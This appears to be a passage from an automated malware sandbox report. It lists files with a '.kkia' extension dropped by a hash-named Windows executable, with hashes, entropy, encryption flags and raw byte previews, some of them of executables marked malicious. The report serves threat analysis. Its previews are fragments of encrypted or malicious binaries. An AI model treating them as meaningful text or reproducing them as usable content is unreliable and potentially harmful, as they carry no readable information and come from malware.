Preview:	05-10\...._......\|x{.....H.c....EK........PU...)....`...H..1.L......2..%8........\.Z....,.9/.~.^..];..K....y.\.b..`..?>.\...1...\.>.....kr......y.!..../..As...X...b".Q+..2+....fZ../.3.D.gf.s.'t.96.g..u l#cC.m......%6R.W......I.3Z...Q...m.......w..&.H.0h.....w..-8.s....&.YVCv\|E....K.fC....B.gy.j wCV.]Q.T....w..J.3...3.l\..G=+....Z...:/.....VV...5.........wv..P..-.....".%..}>...).#..=....k.o.._.BN...YW.u...6i..gp.6&.......f.Z@..!..4............:DvZ.}...o.".......zs.94k..3'....x....3.....V.x....=F(..........Dd....R!.+a..&..dg..^.-+u...cdu..z.0..t.(.@.`..0vl.w'.ew.1...&.^...2S+...1e..1R_.kC..3....l.a.$4....T..P6.dk...VI..6.z...[C2..v.=.....E.K...u..O.z.+..V.#..B...J.g.\G.An....:3.\.../yp.,i.>.9...!j.u....B.D.C..k...\..{.DA.Q..\|H~eA).Y.8.,.#-.-0...e.....v...f..6...V\.......\.I..........g..Vg#.....J...#...%...0$.$..T..J...L.".].....db...t;..h..T.K}..9..w.....@.Oy..=,...q.h...r.....-.R..gbx.Fkw,WBc...C......JU.Y..g....YT`..j\|....u..4.`.

C:\Users\user\Local Settings\Temp\user.bmp.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	602502
Entropy (8bit):	3.176374207418733
Encrypted:	false
SSDEEP:	6144:K8PhT8p0DJ/E6MRdyII/y7BAyNBuBcNSZw:K8Ph3F/xMP9Vr88SZw
MD5:	3F9309DFDFA978AF2183749D58379DBE
SHA1:	5F55D89B316A1EA20B503C812B159EC2DB7A8CF7
SHA-256:	1AC84B7EECE6B4DCB963975F3BFF99185897279FF02B2DB151899FE06338E1E7
SHA-512:	46E67E5F76238B7C822EE0A176A7F10C69F41EAB5CF9270B0B72D92327E2759731C5441FE8CBF5D6490FFAD8300F31BE5D9BFA86944408A3FA01372F30984DCF
Malicious:	false
Preview:	BM80...f.e...nD..;...IO..A..........(q.z=..wH..t_4......!.D..'..f...q......X.V..M............pl1.!.U.:.e...n..h....b.n...^....:......r.......5H.F...OM.\..9...F........U.H..R...w..I~.....B........L..U.?.j.hM..n.X...7..R.0!..........t.?6..]__...2..}.-&RE.....W.ES.c...-.. ,.e..b..S.1.6.TE..C.`.B...-.<..\|.2p0.(W..;c7\.R M.`.No2..]=......0Kb.. ..g..]5fQ..:9jh..:.....Q...C.X.p..\...u...'.Bk^.M._r..6}.U.....}Sy.`....j+.$..<o..\7.[....:.+...Bt.k.:...hn-.nS.y- .....zh.6..:........){......F.G.....}.D.k.UM.-.M..U.j...D...&;u....../...~.Y..&...D......<....(.....~.>..s;....-.o..8...C.v[>s../>.....D>f.X.../BL. ...f.g.}.+..y...f...(...+.).T.4..X".:...)..gR..u.9..V.b..S...._..nJw9L.....!...GYQ..........7.3},Tl....'.iS..g.$.......u#.V;....#B.X.A....'....,....W.....A.0 ..c....r.V...f.....wv.aA....I.H?}.../....<..y..`.P....aCbH.G^41P'.'....+d..c..Y(...q..-?.y..H.B..s....]..N.90....Q]....._K...(.w..)#+.u.v2.C...N,..v=>.c2..VE..Q.(O+8..`.wU.\u.....1c..ye.

C:\Users\user\Local Settings\Temp\chrome.exe.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	141134
Entropy (8bit):	7.9986747895919645
Encrypted:	true
SSDEEP:	3072:IelIRBmL3wIed205sr6nKWGRPj6uF62xk5sVTRH7h2Jhbcsgt:ILmLTed205stPPtrG0TRbh2/2
MD5:	B4778453DDA44A5C34E488CDA7C5395F
SHA1:	4550AB5FCB343F5C06E150AD21CD1D7115ECA8E0
SHA-256:	B195DE939F1061A386C7D432FE556D88FFE03E7F2A388878CEC1B03265DCDF04
SHA-512:	3BD6812C96C3866C118C24A845D1737268584F626EB2AB2FD8E989CA1AC5DFF88BF403E0DB606BE4B639A90F2DA3A9DD82AA4C92975C65403840CE1C89936032
Malicious:	true
Preview:	MZ...DWy."k.M.'d..~.^.......:...~3...=.........o..<...lf.J.+.....cm...L.....T...]..h?j......A.R.@.......t.Cz_\Z3.fI.m.S..Dri...N..&6q0.:..zq1..H.....i.y.n...g.p.[/.~...}L...K.KN.x#...b . ..j..E...^..........Y...4&..\|4.{J=.......7..$...u..s.P..S) ..A....Q........s._,.v28.Zm`.i. .L{.)}-e..+.5.........d.S:.?<Bv@.0g.}.h....~....&Q....W.d.@.....u...c2J.t:..mccp....Z....l.(...f....<jx...'.L....u....3..k..^....5:..\|.-.6.2..A..B!?.oj.<...E..yp.3.....M....%f...._..d...2......w._$G2..@..V...#.F.r.....nG...I.Lq...E\9........TwgS+.Ti.&.KfH3.h(f..U.x.'Dj.tq>+q....;..D..1.'...r.>...<#...._IX.\|..mK_.dk.k.U.y.M{ .4.V."`.V.xJ...q.Q.W.H.....A6Z.a.`....._.....=.0...4.w.t.B[Ax......[{^R..+>..1D)......Y.....W1 ._...})U........k.1....j>...vN...!F.z...G.'.../..Q..~...4.u..m,...gQ.<..%..k.Ux.j......RT.....(....&.>v.h.....A....W4........I]...n..r....D5i.k.....J...+.n.#8..J.$.u/.....A>..*..M5GU........}.<\otB..._.TV..m..qR.W..@...d....p./....?.+.<c.......{I.

C:\Users\user\Local Settings\Temp\chrome_installer.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3279
Entropy (8bit):	7.94797449571928
Encrypted:	false
SSDEEP:	96:kuBZ4JweoiiWyqToEAis8qRXt8hNcMD671By:iJ3RyqEXis8AXtCC/1c
MD5:	781D9B85213C0A8C06074578C7612CC2
SHA1:	8C387D96A44EA977229FD08ED2B9F1BED6FCBFA5
SHA-256:	FA92BFDE958B58221FB69FD04419FB70EEDFC04EF0BF0055C3D37B5A1E92802F
SHA-512:	1F853F41874DAE249B9A223979B2A7F9E5EFD6F3EA0AD0132736B201EFA44261E3E4B443878A85CE0FC05E45E6A1F4AC085CFE684743949C633360615B01A783
Malicious:	false
Preview:	[1005..q.a.+.....6....\...'.....gn.1&.S7..\...Yg...C....8.R.v.....#......<p..kj..v......J6Y.O{ b[M_.X.?JVN:h..C.-...mU..4.a.{...#=...K.W.]....._.2....&.4\|..h..\.....qD.....'.T........Z.iv.}..........^......}q..._......t3j...}.q...:>.zQQ_..W....0.....V >..Vx....y.zi.]...O.$....k.........Q......Uz..8...}<..].?...aU..a)..6.t....'N.W5p.....B.R..M....Y...].@.m.1I?b4/..H..Pki5....3....[.Q....}P..:n\|&r/+..U$...}}.D..w.?BM/.:.V.[.GU.8...iZ;.OUN..L..J>b...<I.\|o(0 .....,l...l..1.."0..&#..{v=1h......t...y<N..L...\...[.~...x.....a+..'2....9q~...w.....r..Z.WR......d.....c..#....U...@. ..t.....{,./.~..9. .......E$F...E....(..I........^.z\|...JR....7..}....'l.~.l.......x....<[pBU..> \..C.C.5@2...b.+.zQ...O..T+.x....+S.~.3..k...P"Xu.;.....M.O.".W1H..SI...u......5.......~\|...}..0N.?.C..Q"...D3...}..+Q3$...D....{.e...I.w2...,d1..h)....30../..Y..+......v...-na.W....u..._&p.'...L.=.2.AAp~.%.....j..C.F]....v....,D...5....1..Ec.y..<.u....M..#B....

C:\Users\user\Local Settings\Temp\cv_debug.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1401
Entropy (8bit):	7.840646896759336
Encrypted:	false
SSDEEP:	24:Y4SSxzcStvVYViL4cMw4JqKHaFQIqc3HTdKJzN3SeNyaK11TN9LFn3LTC9vX/nBZ:Y4SWLpVfMbjcDdKhF9g11RxF3vWvvbD
MD5:	71BD0AF2B167BCBF191344DDC05BCF23
SHA1:	ECC13DF1DA809DE78710E631C96B74475D62ED0A
SHA-256:	689423753C980A893E7209B85A4C920C22A7DBCE82FAD6701F9B1331E3ECA6D7
SHA-512:	78F76EEB05610385E5AF9C4D1E54D68AA902C8D27C184FCACFC4AC9B6435D16ECCD2AB97478E2E6DBCF6D46B2D4CA748A2E7B23A0E2975EA7DA44640EA11488B
Malicious:	false
Preview:	{"logu..=..^....p1..V.....by.7gS.Y.;.pF..C.l.....c.,.}3..j....d..m.v..5wW.....P.g.. Db..s.W....b.<...Fb.-.r..q..K.<N.)...P..=ao...W..j..Mja.D.lW!.....Wm...(g...)..F^....Sb...+vV.^..x..-.@.@`.....]..a.....~.....K4....s?%.....g.Df..9.....]i.....k.%n.y.4..SEZ.I....fU.......Q,.C...i...z.H...H?o.k{_W.F.....d..f.R-.....K.3.u+=Id....}..,..D...ug...{W...\...T..;.......J.....iF.Ou..I..4F5.$c#..\P......T..9......7...s..c..2.......#......,...%.5~&6(.......t....zp.A.1.Y..&...W........88.1DSF..C.^.Y.E...`9...v^5.:....5.t..!lU .T..~.Qs...{...'.^.)5..6+)..r..@..I.Qr.._.k.H....?w......'...s.0.[q-cT..zg....t4xZ.7...)_..\|..up.S...c.......(-....6zbH5T.V..u&h..h.m...s.4.\...%.\,...b..sHZc{.R.<..%~Ix.\..B).,.[..u....Y...x.qnE{l6..u,k......i.h.,).......g&{.4D....$.t....A...k.~.....I{'...5.AFySW.H?".X.J./gtQ..L..........+...I.?.H...I'+.[Tw....b?D.....%.-n.DY...H....."..7..K..{..O....,P....}...25...H$..(.r.....\|..V..Jc.\v..ey.u..n.py'..Q.a._..b.[.UN...V.

C:\Users\user\Local Settings\Temp\jones.bmp.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	602502
Entropy (8bit):	3.175885406586547
Encrypted:	false
SSDEEP:	3072:xJ4McSMfo4yJP8S5tGtkRuGJADYoE4E9T9AhxoBACoQUkSoC:xJ+SMg4cEmwtceEou9SxoAWE3
MD5:	0EF2874B6A2660BF8177550F4EAF152C
SHA1:	0F5518EEE625651E20A397193878AF9FA1D9E564
SHA-256:	DA3FD241E24BEBF2783A4D3D30DE7327F4B2C4D55B8A8898EBCF1020C993C041
SHA-512:	9EE2C3A652AB243339738E15AFD784EFB452FBD6825A0A9CBCB1BE7059EAA6352E6932E81256747921BF0CAFDBB3A7218994B0A50DBA57E26A0C9ADB98079B85
Malicious:	false
Preview:	BM80...U.j...;...../..Q..z4......s...P.n..8.e.H-z........~.tB).y....j..7(e../ .2l..".\|X...3.....cL.#.+6\|..E!b........QQ..+O.8.~~....d..W..".gWt......A^.1....-.f.f....m..U_...t!..q{C....3..i......K.!..JJ..?S.....b...m...iF?..6A..7.k.m/.@.\|....].X....KK......t..(f.lG.<..l.T...."...C.S..g.y.a.Y.....<....q..._`.3d...n..?Y.$.....e..lY-.C.y.n.$C..k_..PO..J..1uO....j...>.{=5.,....../..%.......4..B.?...U}[..u.ji-D..pr_T.....X..).....d......D.$.........8N4.<.xj..k.....Ee`x..j..&.A.SP.J..=U..H..PQ...M<.7W.}...1.........M`a."....%...Z.2<Q.n/.qI........w.............j.....g.e.r.u.07....A......+..qm..3a..co....{.............<=...ms(.Y!...)`..X..79.....N.Z......i....A......y.....o..4..._........wH.S3B....[...1.......QU...U..{..QtN..)\|,Z..2....I..0eq..D..J..qIS....#}.g.yX/.W..}..4......u....@@...\^L.d....G.n.~.p...bHD.q.........b....R..C`..'ge.~0..F.W%Nm..2...Ww.Y.Cu.m.]..8.O...:.'}...tck.qs......!@./.3....X.......g. ..D...8PlH...x.r...&.E..w..7P..V..O

C:\Users\user\Local Settings\Temp\jusched.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	7.788559562565982
Encrypted:	false
SSDEEP:	24:o0RPcR7b58nHmFK5S/AAzsQrUx6yst7DueeuntWaT8MpkbD:o0RS7GGoMYAO6ystuBunsS8tD
MD5:	6AF49264D7F9BE1AEB8C05B2F82CCDC2
SHA1:	4209F0B155533F8AE0DCB0BA230E3A9B6AA21A41
SHA-256:	69633B063809534566139231F7B6C33941E560FE45863B3041838CB61C24DFE9
SHA-512:	67DB0139C940F42A18D1213C776CF9BE352908FF2C38BAB6346DD1F4776128AF53374E28F2F6CEC1D7CF0B373A71F1AC4B6A6789C73D65791ADA4B31438F8EC3
Malicious:	false
Preview:	[2023...v....-4JB.S...p....M....B.0S.J.+G.....P..k.n...5q.f._.......AS$d....C_......Rn;E.F..[..%%.e.T'{.8_..L........)...Q.=}...F.#.}.,V.;+Nt...+F.K../r...`L-..f.ZzB.d.8y.es.YW... +.j..4.....H....#.5..x..0.aJJ..'..h........%..H... Qy;...m!}-W........5t...I..MB;.^...........-;G.......r.L.....=N........._.T..g.$...aj"..V.r.`y. .P.]..H.\.}.f...:qx.[....u./.A.q...EHbSv3..y3.......0xX.s1jT..0...1.h..W.E..H.%/;=h3...dk...+...U..3P.B...N@\|.Z[..l.}<c...%8/...`~..4=O(...\.+...T=.....!....#...`].....z..g..D..../1..5...-;..3~.s..... ..A.8.:.....d.\|#.rw.S6.....g+....>i..p.&G.uj..{.\=.........QS.!l.O..Sc.j.y~..N8.r(....^.........H.>.Q....._=X.);>+.. E....t.#.@. 6..o....K.@V...eAl...,t..m.0Y.M..U.....x...->ktM.".q:..B.7...@..3.s.....zJ...Z#t..7dL.R....P.....v$...\|.T.Q...%..xc).....>..{.i[MgcM`_R...a.x.....\....n.g.=l.W......_..1..~..........M...../....x....H$.v.\|....4...y.n_.qH/.{. .y._..c......p.J....Y.u......+.#i.<...dYUDKE4rrBmSPsf

C:\Users\user\Local Settings\Temp\msedge_installer.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	12235
Entropy (8bit):	7.984885346490408
Encrypted:	false
SSDEEP:	192:6XE3cCmfS7Bn8RkpMH8nxKS9EM5fOk2lQ3Qp8pof587iFbLFEBvEF+aLbWF4xstF:6Wu4B8RgMHe3tz2lQ3QipILFEBvEF+AC
MD5:	FC4F4C378A7AEA96206E51972A993D5B
SHA1:	7002169191099BEA16FD0E793D0501B407129833
SHA-256:	CB8911EA3BAC0958D0D7DA8F17F2813CACA87AAF2F9665AFDCCDE2E66639A2F1
SHA-512:	793E026D7EFF63EA2B1F19CF9B14E08979893F85AA3099FF4A4FE49E18099164D5ECFCD000E208A185DC846EB55A87DD4B6182E87F235732DB9B612113C117D6
Malicious:	false
Preview:	[4952.9...d{.8.6........<.#.%.O.fhj.=l._X.....Q[.4$y.8...l.i.8.r"j.J.u..<..1.....V.h.e...y..&7[ 1/.0........{...a..........y.......]..,).C.].T...X.....I6..&?Z+x..YubI.{t....S.H..N...&..\Z7,3..u..\..tU7=E.4.B2.h....#.)......_\.....{>I@.<d..\...jr...pP.3^bK...J..+.%t];5n..`5....i..X.K.Qn.5k..".>..X.Cm.Az..Oo.#w..lE..........pU...?I...&.:.F....\|..\|..=M.M.....~..g..W5W..O...[?V{..Yx._~....[...Le.....t..de.T..*k.f.#..M$..S.jG....4P.7..1.N\|....G...j;...^.._".u...C.$5E^.R...p,d...H.)rG....v..k....`......E..+G$...S/z.].mt...r.U.j.5..\|....G...A...@..W^Bf.\|...1N.....{.'.3...k..C7..2.5{..;.......J..eGW..{...G...;8cnH._p...)n.._..(.........n..+..f.'l.......5.....l...I..Px}.n!......&}..].Z.bH....J\|...V..n.@.,..p(..k.oF=.+.z..Gj-..w..5n...W..B,X3....k.oRgxM..5....1~..%...?..u;_...M.<7..S..4.C.c?.......P.-I........i...o..+..JZ{....7.\|L..s.Mg7...TY..7..........7\q.c}..8._Q..k]....Zr..2#q..5.J..H.;....(....,..:... ..(..:.+.}..J.$(C..k.....2X3x,u(.R

C:\Users\user\Local Settings\Temp\offline.session64.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.997279078429693
Encrypted:	true
SSDEEP:	1536:p6xRAejsDJBU6Xb+RlcHtZRKpH++GEc6pyAZ0u4q:YxR1IjU2+Rlc9KZBGEc6pym0u4q
MD5:	8633D0DC0B1D5152B5526CDE1955F0E3
SHA1:	678DF6B0C6BA56DCC5F5A57576FCDEE9C2BFCE28
SHA-256:	9BCA4F5AAF0345DA77599339E1930A67328427A17828E2BC2D5B4E0A77CDB3DB
SHA-512:	1D38FD63AE32B97F2E3D539F8BB6ADD2D57BC4360C60E99ED4B6FFE0709069783D6F054705AA9A200D8A7A422A74712FED76FCB770E03C4069E3F7679E87D7EF
Malicious:	true
Preview:	1G.f.i?07...R.D.".....[.'..m.T\|..c....K..J...."..}.f..&...0.....x..@....z..2...O...x8. >...w.6.....~......y\|.AZ._...d..$.....]...CT........S....\...E&..`....$M.t..`[.j..B..Y.......M..`c......w.+.k...}....l5....O.\|u.-J...w..P+y...z...3r.2f........d....N..7w.l.WLqIQRP....Z.`......-.Vj.zT...NM>....,.7._.(y.&;N..Z~O\2>.e..4\.0l.q..m.....D.dP9....).k..Yy.6k.`G.9..G.J..AB.E.z....`..t z..m.9.K./...jy9D.G.Pv...k.(.Z...}R..[..mt..40.~.Y.9..K\.1.....G...au..._.L6z7T..9.fr.M]?...i..EGu.....>].YL.>..B.n.Q..r.....T...V.....O.5...6..............Q.x.2.....Z.8..V.`..'..[a.Khh.jT?.U......~1o....M..;.B........2F..1a.=....}.<......"+"e.dt....5(.vg....UU\._...5[....v...q ...#.0Z...-0h....(c.,n"s.S.&..g..^.QQO.<..!.1r...e.Y...2........&........T....).....z...E..X........M...w... /./....&.y..W!..e'.l..zu..o...U:...LjJ....._..\qN..3..kd..D.k.u.D"...D.oV.K..:5e\/U.S..-....Q.._.Ff.&....... xd..gG....\|8a....s.{...z.X.q...*;?...~N.:......K.U...6M3..2

C:\Users\user\Local Settings\Temp\prep_Form_JSI_API_not_a_real_file_V8_perf.cache.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1045
Entropy (8bit):	7.8096559867049615
Encrypted:	false
SSDEEP:	24:yFncR39Kfqr84xDUiQg+Cw5e1B9OazhP2VTYNXTlcBkbD:yF239KGi7s9OalP2JYNXjD
MD5:	5D2A3F5CB88BEC00B45F3F51A4FADBC9
SHA1:	9E4987E6EC14FF4FB2B30A19FEB3E77CEEB76B05
SHA-256:	85E31D621B385133B1902EBF3DAD335BC9ACACC8CBC9CDE79D7066EDCAE43CF8
SHA-512:	942DA9DF250E4D00E96235B03C3030E7EEC6CA9F834A1C6FADDE8216606FA24EEA9292513ECAA0109AAADEC3DAF8A9EF1FEE20F3734CD506D8357DF9B007FCA5
Malicious:	false
Preview:	RNWPR6r.{.T%\7..F.s..).Q.XU...gyV4..@A{......... ....-.....K.87...(."S.....-..2.&...C.#/........+j./a......@.1r...dU.q...R.&D.8............0.....dY...Xb....T.uB:;Fh.)b...<._.C.U.G...........W._'.<.......xp."...dd..V\|...0..xC.....n.B.,.Je\S.....#.s...Mq...t,_.......&......9svq...W.$N.M..<{`<.A....}....luhLQ...:...!?..P..._pU.2\..fI.M....:..d.Ogu..+.L........q+%...6..8k_....K./N=......~+[...q..,@6.".....?[.&T.U.ytS..10....leaL.<pc}.o:...X8.(.wI...:J..B..e.L......w.!.BKG...............w.%.p...[..........f......\|...u.4.....h_.....{...X:.8.. .l4...tz...oN)..?}4..W:P.........7P..tq.....Xe.....!.]..jb...w~.s....c......%\|.W......tw.L..T(y.).oj.5=.....g....D16f..g.\|...M=&V.....Ey8..9]/%+.7%...n.v.._EK.\|....5....mq.8...+.[>.T......an...A.=h."....)..yF...=..;.....Nn...F...?.........f9....n.A.i ......!.O...Y(.Sw........(Doqp.....qK.@..e..R._6.wF5W.CJ.C6.....@o...Q(.. .UV....w.B..z..;P.*.K......ij.T..^-...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxD

C:\Users\user\Local Settings\Temp\prep_foundation_win32_bundle_V8_perf.cache.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	662037
Entropy (8bit):	6.821826599641166
Encrypted:	false
SSDEEP:	6144:F3gYnVhFZfjciRgvFuisT7hgfjtJ8uaw1lXnBW/bOBKIuM1KHtnB5XEtPjItw9Dt:F3nVhvfbecT72r8uDspIufBwhp
MD5:	87A1541C2D298D3223087D36BA13877C
SHA1:	BAB3B693D3CC691B00A137BF357949670A3451C4
SHA-256:	E6B862ACFDA79F05130E7DB4610AE63D37FEF1C672CA75539225A2BB853F3E49
SHA-512:	409D98C4B275C1C7100166E85B341CA69EFFF13058BE867D194632DF3080DB4588EB7E99A7D1031D51EEC44BB4D11A9FA8D3DA0A7ADE33C609E0EB66C7DBCD64
Malicious:	false
Preview:	RNWPR...D..3.V.{..Q....i:.........p8...q..+jp...V...gv.8...u."...\-...o`..L.I1.f3....Vn..vQX..<...q.?..s.rfS......../..\./.>F...!<...E.d....>k2...(......../!...F.i......6x.M.(N..E...h..DA.I.G.T.....^.M...-..s0.3...L.pn.D ...=.c....o..BY..<A.[..N...U..........V..../Q.........h..4m.[0`.....k$.<.c(yB!....h..M...+.7wO.`O..}Wl....;..uQ'..72..o0....C..3...aU.S\|..C>Oy..".M8....'.!.U..........Fr.........Y&I...\|@..t,.^..?2...^H\.)."..1~...y.....l..D.......Dn.......~M...f........h.@...#8?$)XGsI.a.eB9..kZ(W...<)..:.ph..n...Z..#..+.V....]Q:...X?J..)......{.+.?.3.a....l.&.4.^11.L..J......r.L. ./K...!....}.. ..oV(..FZ..A...`d..2...Lp..wp.4av.z..66.F...`.....mTq.....w..+YG.4.,`4>".....@..r.?.R.`.<.....3-....qB~. .t>vxc..(....].;x<........4..[j.5..."..,.iv.7aVuH.`.k...!.d.2.H...z-3.5..1.......mR...l.0....\L~..V.7...b.1I%O.lE...=..O......6G...[.?...1........@b.!.....X.g.z.C/.G[>.!..Q.a".=.KU....j..........S....kL..e{w..>eW...x.A=`....l..6..nf

C:\Users\user\Local Settings\Temp\prep_privacy-sdx_win32_bundle_js_V8_perf.cache.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	193317
Entropy (8bit):	7.869717178085443
Encrypted:	false
SSDEEP:	3072:s7wmZKtZfbaoOx7BKiNfKNjAcvIjRyAflPs0GCRP1IwJ5bEA8AnkSsUnQ6v7G1rh:AwmUtpbaTpkiNfSj1AjR5lNRWwDbEAFk
MD5:	BDF0DDE615AD928CC39E752C2389737D
SHA1:	A8085DF630C469F7F3C95ED425CD1F743340BB2B
SHA-256:	3BF88775574704C932ED09126E5D567790BC97867B3CBADF0453CB0E8614C064
SHA-512:	43553BEE50801B9793698D2491711D41C037E726520BFFBD5DFE64236A7E629D8512E14EEFD2D5272C2BC71E7FC68193BCC329EF79053118C65F6FE3ED9CE290
Malicious:	false
Preview:	RNWPR. .D...Mt........8.......OF.#R-...z...]tm.......H7...iZ.\.v.].0.6..D.....!Q..O[..s-Q.._6.M.&....x.17.VV/~.XF....dd..).. "..yj..>N."^...T.R...Y..%.(/..5.#.p.F.%.....eX...J.p..^>Q.j.~...D......Ox1#].G...!..>..D^....?7.)u....t0.^...~..Z.[.Ot......+0....1.....Q.i..{.EyzT!........BNP\.[1.:..o..B........~d.1...PR.(.......UA,......!.R...Gk..qt.....<]d.s..w....a..e......'....i.nl...d.(g.@.>we..;\......hY..'e.e...x.,..XN:!.Y.T..0Sv-......bc.]v\|Gl.tga..hU.c.t.\$v...?;}.k.3^..[...=cV..S."Y....]....V.:.K.U3..%..D....)........X.H.c.G5.y.`..k.g....F.R......a..F.MA.u....U.V...s....Q...o{%.?O...5?...4.j...}..?w.8.....U...[..(.\.<S............?/4^>.....W.~...a:K..:._.n..v..B&.q.+...Fq.k.P.f.WH.X]a...,Il.ln ..yzV$.p..B......\|h......fG..NRZ..s<........4 Pcu....e..S.P..2V....8,..^R...X..2.....O.D{tbw..PS.n,e.%.....I.zCg.2.._y...n. ...&....JhT...mC<..,..2.'[.7....Li.C.."....?f...,...N\..q..h=...9....x........!..."..O.+'P.3.kz./..q..v....s.8Vs

C:\Users\user\Local Settings\Temp\prep_ui_win32_bundle_V8_perf.cache.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	240229
Entropy (8bit):	7.544756158028459
Encrypted:	false
SSDEEP:	6144:dj4ipPVJUOKLu0u9hDmfVeBQ0u2KqWtMvzg:JJP7UruDCfVGTu2u5
MD5:	CBF223469073808999868BDEFF084558
SHA1:	D73C76DE570151CA3B5ABE01AF042A2F525F7798
SHA-256:	A52D8660B65FA37C0A3776666EBA494F79E0C1F37DA63F605D0BAD0711A8A54A
SHA-512:	E1E596F8DDF94C1849A15698A8D60A2581551967ACB264D13ACE98C93FED0FA13FE08D66C372F11A87633590F85FB9F8FFBA85741DEA5A0EFEDAF8BF989B2B73
Malicious:	false
Preview:	RNWPR.C.8.?.^..I.IL"8.q..m5..]R..I:Y"......8....".X...tq/U.. /.T.oC.z....O.:...CLt..di5...{[.5G>.C........bR...z.t.[.....w....L..<.O...(...y..."...$...UJ....C=...>...[ 0w..?..T...+kLU.6W....S`%T...!..6o.!.....E...A...hs..;......../m..l........L.Zr...._..?c..H.4...v......ej.1 0ZN.-W.R\|.0.......f....my.$7m...',/%R.L..........p.....R.o....."..}r^oD)...B;....C.{9u....g.Q....PeU%........h{._..E..xM.b)..17.~)%.+....Kx...R.....Kv..F..E........e#.......}S...R7....B,...:.h..Y.h...e..m......P..H=..8.....,...YW......F.X...MF.[M_.`.Y...0..3.u.t....l....R...i.c.t.....{L..o...oC\yJ.T.m.....R@T\|...e1........3.y^3'.... 8 .qw.])mdR.t0..am.L...y.%.cYg....I...<$......).../......5,....m..:~.h-.......~.......SM.\|..05.I..a.M..4YG1d.[.Cp.....,......w8_6...d@.T3....*.......@..?.^ `P.S.a[...(..C..l...\|Dd.."_6F}0-h..^.....~F......Q1..........5I..2.:<n{.)...q@...3R..k;K...v...)g`.x.DH..m.?.Z@.K'X..SF.D...p...n.-.>...E.s.x..n.....N...$.P..S2....G....5.^d.........

C:\Users\user\Local Settings\Temp\tmpB82F.tmp.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	812366
Entropy (8bit):	7.956437845325398
Encrypted:	false
SSDEEP:	24576:03v/vtL34Wf4u8qWy4pn1lceobpbfS9Ueanse:uvN3uu8qWR1lclbVSzUse
MD5:	3F653626B8F0BA5B645D9F5B664498D7
SHA1:	CA5C8748F2241234F4FA7F605403D3622481F708
SHA-256:	C31A9A61FF91727EEDCA7A1258350E338FAB187DFBD74C81EFB522A8E428C2A2
SHA-512:	B21F03BF5174578091A8615AB52293CCE561FD72C1B8D95442331D38182E0B15009532D8E07AD185F65FBFDA6AFD699D7654FEA112488A39CA5240FFDC9AA8BE
Malicious:	true
Preview:	MZ.....>.Y...@....z.8.........y+^.....(w.C..}l...4...h...5..6C...O0D....a..L0.....=X..l...BJ..f9...X.``..y...W.].a...n..7....g...GI.V.......+...Q..cvA......J.^.`.@.X...~.....'B9I.b..u.... ......J.%.,....X..&... ..........h'.h)J.L.q..V..........??}..X.....F...N...P.#.j.(....[...a).......Iv.......Y`...G....tN.9.'.....D..^[".i..,.;....G._.c.4.u...b...Y..L.n.N,..2.)...%....Y.L.........~..P....Zq\..'.(....G..65d..l.E..Z....\P...:a..v....D._.....a..e..Z?..H.4...E..#....oD..........T1..^..lHp.15.p.4$....N<....<G.p...:o.T...Y.L>(...BZ.....EGn..\|j.7..1l.....X.&.B..%..A@.2/.H.t..q..6.X.z...'. ..qO.........U.?p.F.^\.p..1o....fW..A0..#u9..DrA..:....=`.......I...~.&zT.]>.h.Y..o.mu0..{x...U..'..K....U-...Q.?9].....v.3.=.G.Ki..Z.v..-...j.........g..T.l....?&.............P.F\|.^L.w...h......K...ut-.o4.-;...zN..lXJt....l.x/8.h.sWo.jtA......w.~....Q.... @c.jJ.`*...mX......Z......-5d'.6.E.....k.`.....d...~&....<`..I_(.x.v..Lx+/=..9.....c

C:\Users\user\Local Settings\Temp\wct449A.tmp.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997381375152043
Encrypted:	true
